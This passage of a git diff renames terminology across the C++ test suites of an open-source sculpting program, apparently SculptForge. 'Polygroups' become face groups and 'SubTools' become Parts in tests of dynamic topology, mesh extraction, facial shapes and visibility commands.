- m.polygroups[t] = (m.positions[tri.x] + m.positions[tri.y] + m.positions[tri.z]).y > 0.0f ? 7u : 3u;
+ m.facegroups[t] = (m.positions[tri.x] + m.positions[tri.y] + m.positions[tri.z]).y > 0.0f ? 7u : 3u;
}
d.activeLayer = m.addLayer("Detail");
m.rebuildTopology();
@@ -432,7 +432,7 @@ TEST(dyntopo_carries_attributes_and_drops_uvs) {
std::set<uint32_t> out;
for (uint32_t v = 0; v < mesh.vertexCount(); ++v) {
std::set<uint32_t> groups;
- for (uint32_t t : mesh.vertexTriangles(v)) groups.insert(mesh.polygroups[t]);
+ for (uint32_t t : mesh.vertexTriangles(v)) groups.insert(mesh.facegroups[t]);
if (groups.size() > 1) out.insert(v);
}
return out;
@@ -442,7 +442,7 @@ TEST(dyntopo_carries_attributes_and_drops_uvs) {
for (uint32_t t = 0; t < mesh.triangleCount(); ++t)
for (int c = 0; c < 3; ++c) {
const uint32_t a = mesh.triangles[t][c], b = mesh.triangles[t][(c + 1) % 3];
- groups[{std::min(a, b), std::max(a, b)}].insert(mesh.polygroups[t]);
+ groups[{std::min(a, b), std::max(a, b)}].insert(mesh.facegroups[t]);
}
float len = 0.0f;
for (const auto& [e, g] : groups)
@@ -452,7 +452,7 @@ TEST(dyntopo_carries_attributes_and_drops_uvs) {
auto groupArea = [](const Mesh& mesh, uint32_t group) {
float area = 0.0f;
for (uint32_t t = 0; t < mesh.triangleCount(); ++t) {
- if (mesh.polygroups[t] != group) continue;
+ if (mesh.facegroups[t] != group) continue;
const glm::uvec3 tri = mesh.triangles[t];
area += 0.5f * glm::length(glm::cross(mesh.base[tri.y] - mesh.base[tri.x], mesh.base[tri.z] - mesh.base[tri.x]));
}
@@ -467,7 +467,7 @@ TEST(dyntopo_carries_attributes_and_drops_uvs) {
CHECK(invalid(m, true).empty());
CHECK(m.uvs.empty());
CHECK(m.colors.size() == m.vertexCount());
- CHECK(m.polygroups.size() == m.triangleCount());
+ CHECK(m.facegroups.size() == m.triangleCount());
CHECK(m.layers[0].delta.size() == m.vertexCount() && m.base.size() == m.vertexCount());
// Interpolated colours: red follows x everywhere.
bool colorsOk = true;
@@ -614,7 +614,7 @@ TEST(dyntopo_smooth_remesh_setting) {
}
// Long randomized sessions (set SF_STRESS=1, or another number for other seeds; skipped otherwise, it takes a while): every brush, detail, radius,
-// symmetry and invert, with a partial mask, polygroups, hidden triangles, a sculpt layer and polypaint, random
+// symmetry and invert, with a partial mask, face groups, hidden triangles, a sculpt layer and vertex paint, random
// undo / redo between strokes; the mesh stays valid after every stroke and undoing everything gives the start back.
TEST(dyntopo_stress_random_sessions) {
if (!std::getenv("SF_STRESS")) return;
@@ -623,7 +623,7 @@ TEST(dyntopo_stress_random_sessions) {
Document d = makeDoc(open ? makePlane(60, 2.0f) : makeIcosphere(4 + session, 1.0f));
Mesh& m = d.mesh;
m.ensureColors();
- m.ensurePolygroups();
+ m.ensureFaceGroups();
m.ensureMask();
m.ensureHidden();
for (uint32_t v = 0; v < m.vertexCount(); ++v) {
@@ -632,7 +632,7 @@ TEST(dyntopo_stress_random_sessions) {
}
for (uint32_t t = 0; t < m.triangleCount(); ++t) {
const glm::vec3 c = m.positions[m.triangles[t].x];
- m.polygroups[t] = c.y > 0.3f ? 2u : 1u;
+ m.facegroups[t] = c.y > 0.3f ? 2u : 1u;
m.hidden[t] = c.x > 0.8f && c.y < -0.4f;
}
d.activeLayer = session == 1 ? m.addLayer("L") : -1;
@@ -652,7 +652,7 @@ TEST(dyntopo_stress_random_sessions) {
};
const BrushType types[] = {BrushType::Standard, BrushType::SnakeHook, BrushType::Smooth, BrushType::Clay,
BrushType::Pinch, BrushType::Inflate, BrushType::Crease, BrushType::Flatten,
- BrushType::DamStandard, BrushType::ClayBuildup, BrushType::Layer, BrushType::Nudge,
+ BrushType::SharpCrease, BrushType::ClayBlock, BrushType::Layer, BrushType::Nudge,
BrushType::Trim};
std::string why;
int strokes = 0, undos = 0;
@@ -715,7 +715,7 @@ TEST(dyntopo_stress_random_sessions) {
if (why.empty()) why = invalid(m, !open);
if (why.empty() && !bvhMatches(m, d.bvh)) why = "BVH";
if (why.empty() && (m.colors.size() != m.vertexCount() || m.mask.size() != m.vertexCount() ||
- m.polygroups.size() != m.triangleCount() || m.hidden.size() != m.triangleCount()))
+ m.facegroups.size() != m.triangleCount() || m.hidden.size() != m.triangleCount()))
why = "attribute sizes";
if (why.empty() && !m.layers.empty())
for (uint32_t v = 0; v < m.vertexCount() && why.empty(); ++v)
@@ -728,6 +728,6 @@ TEST(dyntopo_stress_random_sessions) {
while (d.undo.canUndo()) d.undo.undo(m, d.bvh);
CHECK(m.triangles == start.triangles);
CHECK(m.positions == start.positions);
- CHECK(m.colors == start.colors && m.mask == start.mask && m.polygroups == start.polygroups && m.hidden == start.hidden);
+ CHECK(m.colors == start.colors && m.mask == start.mask && m.facegroups == start.facegroups && m.hidden == start.hidden);
}
}
diff --git a/tests/test_extract_mirror.cpp b/tests/test_extract_mirror.cpp
index f3b10edf..02ac5a41 100644
--- a/tests/test_extract_mirror.cpp
+++ b/tests/test_extract_mirror.cpp
@@ -6,7 +6,7 @@
#include "core/Commands.h"
#include "core/ExtractMirror.h"
-#include "core/Polygroups.h"
+#include "core/FaceGroups.h"
#include "core/Primitives.h"
#include <algorithm>
@@ -41,7 +41,7 @@ double signedVolume(const Mesh& m) {
std::set<uint32_t> groups(const Mesh& m) {
std::set<uint32_t> ids;
- for (uint32_t t = 0; t < m.triangleCount(); ++t) ids.insert(m.polygroupAt(t));
+ for (uint32_t t = 0; t < m.triangleCount(); ++t) ids.insert(m.facegroupAt(t));
return ids;
}
@@ -64,18 +64,18 @@ TEST(extract_shell_preview_accept_undo) {
CommandRegistry reg;
CHECK(reg.execute(doc, "new_sphere", {{"subdivisions", 3.0}}).ok);
CHECK(!reg.execute(doc, "extract").ok); // nothing masked
- CHECK(doc.subtoolCount() == 1);
+ CHECK(doc.partCount() == 1);
maskedSphere(doc, reg);
const float radius = glm::length(doc.mesh.positions[0]);
const CommandResult r = reg.execute(doc, "extract");
CHECK(r.ok);
CHECK(r.message.find("preview") != std::string::npos);
- CHECK(doc.subtoolCount() == 2 && doc.activeSubtool == 0); // the preview sits below; the source stays active
+ CHECK(doc.partCount() == 2 && doc.activePart == 0); // the preview sits below; the source stays active
CHECK(doc.extractPreview.id != 0 && doc.extractPreviewCurrent());
CHECK(!doc.undo.canUndo()); // a preview isn't a step yet
- const Mesh& shell = doc.subtoolMesh(1);
- CHECK(doc.subtools[1].name == "Extract");
+ const Mesh& shell = doc.partMesh(1);
+ CHECK(doc.parts[1].name == "Extract");
CHECK(watertight(shell));
CHECK(signedVolume(shell) > 0.0);
CHECK((groups(shell) == std::set<uint32_t>{1, 2, 3})); // outer, inner, rim
@@ -89,32 +89,32 @@ TEST(extract_shell_preview_accept_undo) {
}
CHECK(std::abs(rmax - radius * (1.0f + 0.03f)) < radius * 0.01f);
CHECK(rmin > radius * 0.97f); // (E Smt pulls the edge in a little)
- // Polypaint comes along.
+ // Vertex paint comes along.
CHECK(shell.hasColors() && shell.colors[0] == glm::vec3(1, 0, 0));
// Extract again with other settings: the preview is replaced, not added to.
const uint32_t previewId = doc.extractPreview.id;
CHECK(reg.execute(doc, "extract", {{"thickness", 0.05}, {"double", true}, {"smooth", 0.0}}).ok);
- CHECK(doc.subtoolCount() == 2 && doc.extractPreview.id == previewId);
+ CHECK(doc.partCount() == 2 && doc.extractPreview.id == previewId);
rmin = 1e9f;
- for (const auto& p : doc.subtoolMesh(1).positions) rmin = std::min(rmin, glm::length(p));
+ for (const auto& p : doc.partMesh(1).positions) rmin = std::min(rmin, glm::length(p));
CHECK(rmin < radius * 0.95f); // Double grows inward too
- // Accept: one undo step on the source that takes the SubTool away and redo brings it back.
+ // Accept: one undo step on the source that takes the Part away and redo brings it back.
CHECK(reg.execute(doc, "extract_accept").ok);
- CHECK(doc.extractPreview.id == 0 && doc.subtoolCount() == 2);
+ CHECK(doc.extractPreview.id == 0 && doc.partCount() == 2);
CHECK(doc.undo.canUndo() && doc.undo.undoLabel() == "Extract");
CHECK(!reg.execute(doc, "extract_accept").ok);
CHECK(reg.execute(doc, "undo").ok);
- CHECK(doc.subtoolCount() == 1 && doc.activeSubtool == 0);
+ CHECK(doc.partCount() == 1 && doc.activePart == 0);
CHECK(reg.execute(doc, "redo").ok);
- CHECK(doc.subtoolCount() == 2 && doc.subtools[1].id == previewId && doc.subtoolMesh(1).triangleCount() > 0);
+ CHECK(doc.partCount() == 2 && doc.parts[1].id == previewId && doc.partMesh(1).triangleCount() > 0);
CHECK(doc.dirty());
// A single-sided surface: Thick 0.
CHECK(reg.execute(doc, "extract", {{"thickness", 0.0}, {"accept", true}}).ok);
- CHECK(doc.subtoolCount() == 3);
- const Mesh& surface = doc.subtoolMesh(1); // right below the source
+ CHECK(doc.partCount() == 3);
+ const Mesh& surface = doc.partMesh(1); // right below the source
CHECK(!watertight(surface) && groups(surface) == std::set<uint32_t>{1});
}
@@ -122,25 +122,25 @@ TEST(extract_preview_goes_when_the_scene_changes) {
Document doc;
CommandRegistry reg;
maskedSphere(doc, reg);
- CHECK(reg.execute(doc, "extract").ok && doc.subtoolCount() == 2);
- CHECK(reg.execute(doc, "subtool_list").ok); // reading the scene leaves it
- CHECK(doc.subtoolCount() == 2);
+ CHECK(reg.execute(doc, "extract").ok && doc.partCount() == 2);
+ CHECK(reg.execute(doc, "part_list").ok); // reading the scene leaves it
+ CHECK(doc.partCount() == 2);
CHECK(reg.execute(doc, "extract_cancel").ok);
- CHECK(doc.subtoolCount() == 1 && doc.extractPreview.id == 0);
+ CHECK(doc.partCount() == 1 && doc.extractPreview.id == 0);
CHECK(reg.execute(doc, "extract").ok);
CHECK(reg.execute(doc, "mask_invert").ok); // an edit of the source: the preview no longer matches
- CHECK(reg.execute(doc, "subtool_list").ok);
- CHECK(doc.subtoolCount() == 1 && doc.extractPreview.id == 0);
+ CHECK(reg.execute(doc, "part_list").ok);
+ CHECK(doc.partCount() == 1 && doc.extractPreview.id == 0);
// Saving never writes a preview.
- CHECK(reg.execute(doc, "extract").ok && doc.subtoolCount() == 2);
+ CHECK(reg.execute(doc, "extract").ok && doc.partCount() == 2);
const std::string path = tempPath("sf_extract_preview.sfproj");
CHECK(reg.execute(doc, "save_project", {{"path", path}}).ok);
- CHECK(doc.subtoolCount() == 1);
+ CHECK(doc.partCount() == 1);
Document back;
CHECK(reg.execute(back, "open", {{"path", path}}).ok);
- CHECK(back.subtoolCount() == 1);
+ CHECK(back.partCount() == 1);
}
TEST(mirror_and_weld_sphere) {
@@ -149,9 +149,9 @@ TEST(mirror_and_weld_sphere) {
maskedSphere(doc, reg);
// Off-centre, so the plane cuts triangles; groups 7 on +x, 9 elsewhere.
for (auto& p : doc.mesh.positions) p.x += 0.3f;
- doc.mesh.ensurePolygroups(9);
+ doc.mesh.ensureFaceGroups(9);
for (uint32_t t = 0; t < doc.mesh.triangleCount(); ++t)
- if (doc.mesh.positions[doc.mesh.triangles[t].x].x > 0.8f) doc.mesh.polygroups[t] = 7;
+ if (doc.mesh.positions[doc.mesh.triangles[t].x].x > 0.8f) doc.mesh.facegroups[t] = 7;
doc.mesh.recomputeAllNormals();
const size_t before = doc.mesh.triangleCount();
@@ -260,7 +260,7 @@ TEST(extract_tcorne_tborder) {
auto rimQuads = [](const Mesh& m) {
size_t n = 0;
for (uint32_t t = 0; t < m.triangleCount(); ++t)
- n += m.polygroupAt(t) == 3 && m.quadPartnerAt(t) != Mesh::kNoQuad;
+ n += m.facegroupAt(t) == 3 && m.quadPartnerAt(t) != Mesh::kNoQuad;
return n / 2;
};
std::string error;
diff --git a/tests/test_face.cpp b/tests/test_face.cpp
index f47d0ccc..7e6bf3be 100644
--- a/tests/test_face.cpp
+++ b/tests/test_face.cpp
@@ -3,7 +3,7 @@
//
// Facial shapes (core/Face.h): the ARKit names, the template, the fit (landmark error on a known head, with and
// without landmarks, on a reshaped and re-topologised head), deformation transfer on the template itself
-// (near-identity), mirrored Left / Right pairs, SubTools (eyes, teeth), multires, face_weights (exact, no undo,
+// (near-identity), mirrored Left / Right pairs, Parts (eyes, teeth), multires, face_weights (exact, no undo,
// timing on a 500k head), takes, and export round trips that keep the morph targets, their names and the take.
#include "TestHarness.h"
@@ -312,7 +312,7 @@ TEST(face_symmetric_pairs_mirror) {
CHECK(run(doc, "face_shapes_generate", {{"symmetry", std::string("off")}}).ok);
}
-TEST(face_subtools_eyes_and_teeth) {
+TEST(face_parts_eyes_and_teeth) {
// Eyes turn about their centres for eyeLook*, the lower teeth follow jawOpen and the upper teeth don't, and
// brows on the face follow the skin.
const FaceTemplate& t = faceTemplate();
@@ -331,7 +331,7 @@ TEST(face_subtools_eyes_and_teeth) {
}
eyes.rebuildTopology();
eyes.recomputeAllNormals();
- doc.addSubtool(eyes, "Eyes", false);
+ doc.addPart(eyes, "Eyes", false);
// Teeth: an upper and a lower row of little boxes behind the lips.
Mesh teeth;
for (int row = 0; row < 2; ++row) {
@@ -346,12 +346,12 @@ TEST(face_subtools_eyes_and_teeth) {
}
teeth.rebuildTopology();
teeth.recomputeAllNormals();
- doc.addSubtool(teeth, "Teeth", false);
- doc.addSubtool(makeIcosphere(2, 0.5f), "Far away ball", false);
- for (auto& p : doc.subtools[3].mesh.positions) p += glm::vec3(3, 0, 0);
+ doc.addPart(teeth, "Teeth", false);
+ doc.addPart(makeIcosphere(2, 0.5f), "Far away ball", false);
+ for (auto& p : doc.parts[3].mesh.positions) p += glm::vec3(3, 0, 0);
CHECK(run(doc, "face_shapes_generate").ok);
- const Mesh& em = doc.subtools[1].mesh;
+ const Mesh& em = doc.parts[1].mesh;
const SculptLayer* up = findLayer(em, "eyeLookUpLeft");
const SculptLayer* out = findLayer(em, "eyeLookOutLeft");
CHECK(up && out && em.layers.size() == 8);
@@ -368,7 +368,7 @@ TEST(face_subtools_eyes_and_teeth) {
CHECK(out->delta[front].x > 0.003f); // looking out = towards the character's left
CHECK(up->delta[rightFront] == glm::vec3(0.0f));
}
- const Mesh& tm = doc.subtools[2].mesh;
+ const Mesh& tm = doc.parts[2].mesh;
const SculptLayer* jaw = findLayer(tm, "jawOpen");
CHECK(jaw != nullptr);
if (jaw) {
@@ -382,12 +382,12 @@ TEST(face_subtools_eyes_and_teeth) {
CHECK(upperMove == 0.0f);
}
CHECK(findLayer(tm, "eyeBlinkLeft") == nullptr); // teeth only get the jaw shapes
- CHECK(doc.subtools[3].mesh.layers.empty()); // not on the face: left alone
+ CHECK(doc.parts[3].mesh.layers.empty()); // not on the face: left alone
- // face_weights drives every SubTool: the eyes turn with eyeLookUpLeft.
- const auto eyesBefore = doc.subtools[1].mesh.positions;
+ // face_weights drives every Part: the eyes turn with eyeLookUpLeft.
+ const auto eyesBefore = doc.parts[1].mesh.positions;
CHECK(run(doc, "face_weights", {{"json", std::string("{\"eyeLookUpLeft\":1,\"jawOpen\":0.5}")}}).ok);
- CHECK(doc.subtools[1].mesh.positions != eyesBefore);
+ CHECK(doc.parts[1].mesh.positions != eyesBefore);
}
TEST(face_weights_fast_path_is_exact_and_not_undoable) {
@@ -636,7 +636,7 @@ TEST(face_export_round_trips_keep_morph_targets_and_names) {
CHECK(loadFbx(fbx, f, error));
sameShapes(f, 1e-5f, "fbx");
- // The Blender bridge sends the layers as shape keys beside the .GoZ (base shape).
+ // The Blender bridge sends the layers as shape keys beside the Bridge (base shape).
const std::string root = tempPath("sf_face_bridge");
std::filesystem::remove_all(root);
std::string message;
diff --git a/tests/test_polygroups.cpp b/tests/test_facegroups.cpp
similarity index 80%
rename from tests/test_polygroups.cpp
rename to tests/test_facegroups.cpp
index 11740c84..f8222960 100644
--- a/tests/test_polygroups.cpp
+++ b/tests/test_facegroups.cpp
@@ -1,13 +1,13 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Polygroups and visibility: grouping commands, hide/isolate/show/invert,
+// Face groups and visibility: grouping commands, hide/isolate/show/invert,
// rectangle and lasso hiding, delete hidden, undo, and that picking and brushes skip
// hidden geometry.
#include "TestHarness.h"
#include "core/Commands.h"
-#include "core/Polygroups.h"
+#include "core/FaceGroups.h"
#include "core/Primitives.h"
#include "core/Sculpt.h"
@@ -60,41 +60,41 @@ glm::vec3 centroid(const Mesh& m, uint32_t t) {
} // namespace
-TEST(polygroup_commands_registered) {
+TEST(facegroup_commands_registered) {
CommandRegistry reg;
- for (const char* name : {"polygroup_auto_by_normals", "polygroup_by_connectivity", "polygroup_from_mask",
- "polygroup_clear", "polygroup_merge_visible", "hide_polygroup", "isolate_polygroup",
- "show_all", "invert_visibility", "hide_rect", "hide_lasso", "delete_hidden", "polygroup_uv"})
+ for (const char* name : {"facegroup_auto_by_normals", "facegroup_by_connectivity", "facegroup_from_mask",
+ "facegroup_clear", "facegroup_merge_visible", "hide_facegroup", "isolate_facegroup",
+ "show_all", "invert_visibility", "hide_rect", "hide_lasso", "delete_hidden", "facegroup_uv"})
CHECK(reg.find(name) != nullptr);
- CHECK(reg.toolSchemaJson().find("\"isolate_polygroup\"") != std::string::npos);
+ CHECK(reg.toolSchemaJson().find("\"isolate_facegroup\"") != std::string::npos);
}
-TEST(polygroups_by_normals) {
+TEST(facegroups_by_normals) {
Document d = makeDoc(makeCube());
CommandRegistry reg;
- CHECK(reg.execute(d, "polygroup_auto_by_normals", {{"angle", 30.0}}).ok);
- CHECK(d.mesh.polygroups.size() == 12 && visiblePolygroupCount(d.mesh) == 6);
+ CHECK(reg.execute(d, "facegroup_auto_by_normals", {{"angle", 30.0}}).ok);
+ CHECK(d.mesh.facegroups.size() == 12 && visibleFaceGroupCount(d.mesh) == 6);
// Each side's two triangles share a group, different sides differ.
- for (uint32_t t = 0; t < 12; t += 2) CHECK(d.mesh.polygroups[t] == d.mesh.polygroups[t + 1]);
- std::set<uint32_t> ids(d.mesh.polygroups.begin(), d.mesh.polygroups.end());
+ for (uint32_t t = 0; t < 12; t += 2) CHECK(d.mesh.facegroups[t] == d.mesh.facegroups[t + 1]);
+ std::set<uint32_t> ids(d.mesh.facegroups.begin(), d.mesh.facegroups.end());
CHECK(ids.size() == 6 && *ids.begin() == 0 && *ids.rbegin() == 5);
CHECK(d.mesh.facesDirty);
// Undo restores the single default group.
CHECK(reg.execute(d, "undo").ok);
- for (uint32_t t = 0; t < 12; ++t) CHECK(d.mesh.polygroupAt(t) == 0);
+ for (uint32_t t = 0; t < 12; ++t) CHECK(d.mesh.facegroupAt(t) == 0);
CHECK(reg.execute(d, "redo").ok);
- CHECK(visiblePolygroupCount(d.mesh) == 6);
+ CHECK(visibleFaceGroupCount(d.mesh) == 6);
// A smooth sphere with a wide angle stays one group (and frees the attribute).
Document s = makeDoc(makeIcosphere(3));
- CHECK(reg.execute(s, "polygroup_auto_by_normals", {{"angle", 180.0}}).ok);
- CHECK(!s.mesh.hasPolygroups() && visiblePolygroupCount(s.mesh) == 1);
+ CHECK(reg.execute(s, "facegroup_auto_by_normals", {{"angle", 180.0}}).ok);
+ CHECK(!s.mesh.hasFaceGroups() && visibleFaceGroupCount(s.mesh) == 1);
// A narrow angle splits it into patches.
- CHECK(reg.execute(s, "polygroup_auto_by_normals", {{"angle", 20.0}}).ok);
- CHECK(visiblePolygroupCount(s.mesh) > 10);
+ CHECK(reg.execute(s, "facegroup_auto_by_normals", {{"angle", 20.0}}).ok);
+ CHECK(visibleFaceGroupCount(s.mesh) > 10);
}
-TEST(polygroups_by_uvs) {
+TEST(facegroups_by_uvs) {
// Box mapping: every side of the cube is its own UV island (its corners' UVs depend on the side).
Mesh cube = makeCube();
for (uint32_t t = 0; t < 12; ++t)
@@ -104,11 +104,11 @@ TEST(polygroups_by_uvs) {
}
Document d = makeDoc(cube);
CommandRegistry reg;
- CHECK(reg.execute(d, "polygroup_uv").ok);
- CHECK(visiblePolygroupCount(d.mesh) == 6);
- for (uint32_t t = 0; t < 12; t += 2) CHECK(d.mesh.polygroups[t] == d.mesh.polygroups[t + 1]);
+ CHECK(reg.execute(d, "facegroup_uv").ok);
+ CHECK(visibleFaceGroupCount(d.mesh) == 6);
+ for (uint32_t t = 0; t < 12; t += 2) CHECK(d.mesh.facegroups[t] == d.mesh.facegroups[t + 1]);
CHECK(reg.execute(d, "undo").ok);
- CHECK(visiblePolygroupCount(d.mesh) == 1);
+ CHECK(visibleFaceGroupCount(d.mesh) == 1);
// One continuous island (UVs per vertex, no seams): one group, even across the sides.
for (uint32_t t = 0; t < 12; ++t)
@@ -116,66 +116,66 @@ TEST(polygroups_by_uvs) {
const glm::vec3 p = d.mesh.positions[d.mesh.triangles[t][c]];
d.mesh.uvs[3 * t + uint32_t(c)] = glm::vec2(p.x + 0.25f * p.z, p.y);
}
- CHECK(reg.execute(d, "polygroup_by_connectivity").ok); // start from something else
- CHECK(reg.execute(d, "polygroup_auto_by_normals", {{"angle", 30.0}}).ok);
- CHECK(visiblePolygroupCount(d.mesh) == 6);
- CHECK(reg.execute(d, "polygroup_uv").ok);
- CHECK(visiblePolygroupCount(d.mesh) == 1);
+ CHECK(reg.execute(d, "facegroup_by_connectivity").ok); // start from something else
+ CHECK(reg.execute(d, "facegroup_auto_by_normals", {{"angle", 30.0}}).ok);
+ CHECK(visibleFaceGroupCount(d.mesh) == 6);
+ CHECK(reg.execute(d, "facegroup_uv").ok);
+ CHECK(visibleFaceGroupCount(d.mesh) == 1);
// Two separate pieces with the same UVs are still two islands (they don't touch on the model).
Document two = makeDoc(makeTwoSpheres(1));
two.mesh.uvs.assign(two.mesh.triangleCount() * 3, glm::vec2(0.5f));
- CHECK(reg.execute(two, "polygroup_uv").ok);
- CHECK(visiblePolygroupCount(two.mesh) == 2);
+ CHECK(reg.execute(two, "facegroup_uv").ok);
+ CHECK(visibleFaceGroupCount(two.mesh) == 2);
// No UVs: refused with a message, nothing changes.
Document none = makeDoc(makeCube());
- const CommandResult r = reg.execute(none, "polygroup_uv");
+ const CommandResult r = reg.execute(none, "facegroup_uv");
CHECK(!r.ok && r.message.find("no UVs") != std::string::npos);
- CHECK(!none.mesh.hasPolygroups() && !none.undo.canUndo());
+ CHECK(!none.mesh.hasFaceGroups() && !none.undo.canUndo());
}
-TEST(polygroups_by_connectivity_and_merge) {
+TEST(facegroups_by_connectivity_and_merge) {
Document d = makeDoc(makeTwoSpheres());
const uint32_t half = uint32_t(d.mesh.triangleCount() / 2);
CommandRegistry reg;
- CHECK(reg.execute(d, "polygroup_by_connectivity").ok);
- CHECK(visiblePolygroupCount(d.mesh) == 2);
- CHECK(d.mesh.polygroupAt(0) == 0 && d.mesh.polygroupAt(half) == 1);
+ CHECK(reg.execute(d, "facegroup_by_connectivity").ok);
+ CHECK(visibleFaceGroupCount(d.mesh) == 2);
+ CHECK(d.mesh.facegroupAt(0) == 0 && d.mesh.facegroupAt(half) == 1);
bool consistent = true;
for (uint32_t t = 0; t < d.mesh.triangleCount(); ++t)
- consistent = consistent && d.mesh.polygroupAt(t) == (t < half ? 0u : 1u);
+ consistent = consistent && d.mesh.facegroupAt(t) == (t < half ? 0u : 1u);
CHECK(consistent);
- CHECK(polygroupIsolated(d.mesh, 0) == false);
+ CHECK(facegroupIsolated(d.mesh, 0) == false);
- CHECK(reg.execute(d, "polygroup_merge_visible").ok);
- CHECK(visiblePolygroupCount(d.mesh) == 1 && !d.mesh.hasPolygroups());
+ CHECK(reg.execute(d, "facegroup_merge_visible").ok);
+ CHECK(visibleFaceGroupCount(d.mesh) == 1 && !d.mesh.hasFaceGroups());
CHECK(reg.execute(d, "undo").ok);
- CHECK(visiblePolygroupCount(d.mesh) == 2);
+ CHECK(visibleFaceGroupCount(d.mesh) == 2);
// Grouping only touches visible triangles; hidden ones keep their ids.
- CHECK(reg.execute(d, "isolate_polygroup", {{"group", 1.0}}).ok);
- CHECK(reg.execute(d, "polygroup_auto_by_normals", {{"angle", 15.0}}).ok);
- CHECK(d.mesh.polygroupAt(0) == 0);
- for (uint32_t t = half; t < d.mesh.triangleCount(); ++t) CHECK(d.mesh.polygroupAt(t) >= 1);
- CHECK(visiblePolygroupCount(d.mesh) > 1);
-
- CHECK(reg.execute(d, "polygroup_clear").ok);
- CHECK(!d.mesh.hasPolygroups());
+ CHECK(reg.execute(d, "isolate_facegroup", {{"group", 1.0}}).ok);
+ CHECK(reg.execute(d, "facegroup_auto_by_normals", {{"angle", 15.0}}).ok);
+ CHECK(d.mesh.facegroupAt(0) == 0);
+ for (uint32_t t = half; t < d.mesh.triangleCount(); ++t) CHECK(d.mesh.facegroupAt(t) >= 1);
+ CHECK(visibleFaceGroupCount(d.mesh) > 1);
+
+ CHECK(reg.execute(d, "facegroup_clear").ok);
+ CHECK(!d.mesh.hasFaceGroups());
}
-TEST(polygroup_from_mask) {
+TEST(facegroup_from_mask) {
Document d = makeDoc(makeIcosphere(3));
CommandRegistry reg;
- CHECK(!reg.execute(d, "polygroup_from_mask").ok); // nothing masked
+ CHECK(!reg.execute(d, "facegroup_from_mask").ok); // nothing masked
d.mesh.ensureMask();
for (uint32_t v = 0; v < d.mesh.vertexCount(); ++v) d.mesh.mask[v] = d.mesh.positions[v].y > 0.0f ? 1.0f : 0.0f;
- CHECK(reg.execute(d, "polygroup_from_mask").ok);
- CHECK(visiblePolygroupCount(d.mesh) == 2);
+ CHECK(reg.execute(d, "facegroup_from_mask").ok);
+ CHECK(visibleFaceGroupCount(d.mesh) == 2);
int wrong = 0;
for (uint32_t t = 0; t < d.mesh.triangleCount(); ++t) {
const glm::vec3 c = centroid(d.mesh, t);
- if (std::abs(c.y) > 0.2f && d.mesh.polygroupAt(t) != (c.y > 0.0f ? 1u : 0u)) ++wrong;
+ if (std::abs(c.y) > 0.2f && d.mesh.facegroupAt(t) != (c.y > 0.0f ? 1u : 0u)) ++wrong;
}
CHECK(wrong == 0);
CHECK(d.mesh.hasMask()); // the mask itself is left alone
@@ -185,24 +185,24 @@ TEST(visibility_isolate_hide_invert_show) {
Document d = makeDoc(makeTwoSpheres());
const size_t n = d.mesh.triangleCount(), half = n / 2;
CommandRegistry reg;
- CHECK(reg.execute(d, "polygroup_by_connectivity").ok);
+ CHECK(reg.execute(d, "facegroup_by_connectivity").ok);
- CHECK(reg.execute(d, "isolate_polygroup", {{"group", 1.0}}).ok);
+ CHECK(reg.execute(d, "isolate_facegroup", {{"group", 1.0}}).ok);
CHECK(hiddenCount(d.mesh) == half && d.mesh.triangleHidden(0) && !d.mesh.triangleHidden(uint32_t(half)));
- CHECK(polygroupIsolated(d.mesh, 1) && !polygroupIsolated(d.mesh, 0));
+ CHECK(facegroupIsolated(d.mesh, 1) && !facegroupIsolated(d.mesh, 0));
CHECK(d.mesh.vertexHidden(0) && !d.mesh.vertexHidden(d.mesh.triangles[half].x));
- CHECK(!reg.execute(d, "isolate_polygroup", {{"group", 7.0}}).ok);
+ CHECK(!reg.execute(d, "isolate_facegroup", {{"group", 7.0}}).ok);
CHECK(reg.execute(d, "invert_visibility").ok);
CHECK(hiddenCount(d.mesh) == half && !d.mesh.triangleHidden(0) && d.mesh.triangleHidden(uint32_t(half)));
// Hiding the last visible group is refused (nothing would be left on screen).
- CHECK(!reg.execute(d, "hide_polygroup", {{"group", 0.0}}).ok);
+ CHECK(!reg.execute(d, "hide_facegroup", {{"group", 0.0}}).ok);
CHECK(reg.execute(d, "show_all").ok);
CHECK(!d.mesh.hasHidden());
- CHECK(reg.execute(d, "hide_polygroup", {{"group", 0.0}}).ok);
+ CHECK(reg.execute(d, "hide_facegroup", {{"group", 0.0}}).ok);
CHECK(hiddenCount(d.mesh) == half && d.mesh.triangleHidden(0));
- CHECK(!reg.execute(d, "hide_polygroup", {{"group", 5.0}}).ok);
+ CHECK(!reg.execute(d, "hide_facegroup", {{"group", 5.0}}).ok);
// With nothing hidden, inverting would hide everything.
CHECK(reg.execute(d, "show_all").ok);
@@ -211,11 +211,11 @@ TEST(visibility_isolate_hide_invert_show) {
// Each step is undoable: show_all -> hide 0 -> show_all -> invert -> isolate.
CHECK(reg.execute(d, "undo").ok); // show_all
CHECK(hiddenCount(d.mesh) == half && d.mesh.triangleHidden(0));
- CHECK(reg.execute(d, "undo").ok); // hide_polygroup
+ CHECK(reg.execute(d, "undo").ok); // hide_face group
CHECK(hiddenCount(d.mesh) == 0);
CHECK(reg.execute(d, "undo").ok); // show_all
CHECK(reg.execute(d, "undo").ok); // invert
- CHECK(polygroupIsolated(d.mesh, 1));
+ CHECK(facegroupIsolated(d.mesh, 1));
}
TEST(visibility_hide_rect) {
@@ -294,7 +294,7 @@ TEST(delete_hidden_compacts_attributes) {
const size_t nv = d.mesh.vertexCount(), nt = d.mesh.triangleCount();
CommandRegistry reg;
CHECK(!reg.execute(d, "delete_hidden").ok); // nothing hidden
- CHECK(reg.execute(d, "polygroup_by_connectivity").ok);
+ CHECK(reg.execute(d, "facegroup_by_connectivity").ok);
Mesh& m = d.mesh;
m.ensureMask();
m.ensureColors();
@@ -309,12 +309,12 @@ TEST(delete_hidden_compacts_attributes) {
m.evaluateAll();
m.recomputeAllNormals();
- CHECK(reg.execute(d, "hide_polygroup", {{"group", 0.0}}).ok);
+ CHECK(reg.execute(d, "hide_facegroup", {{"group", 0.0}}).ok);
CHECK(reg.execute(d, "delete_hidden").ok);
CHECK(d.mesh.vertexCount() == nv / 2 && d.mesh.triangleCount() == nt / 2);
CHECK(!d.mesh.hasHidden());
CHECK(d.mesh.mask.size() == nv / 2 && d.mesh.colors.size() == nv / 2);
- CHECK(d.mesh.polygroups.size() == nt / 2 && d.mesh.uvs.size() == nt * 3 / 2);
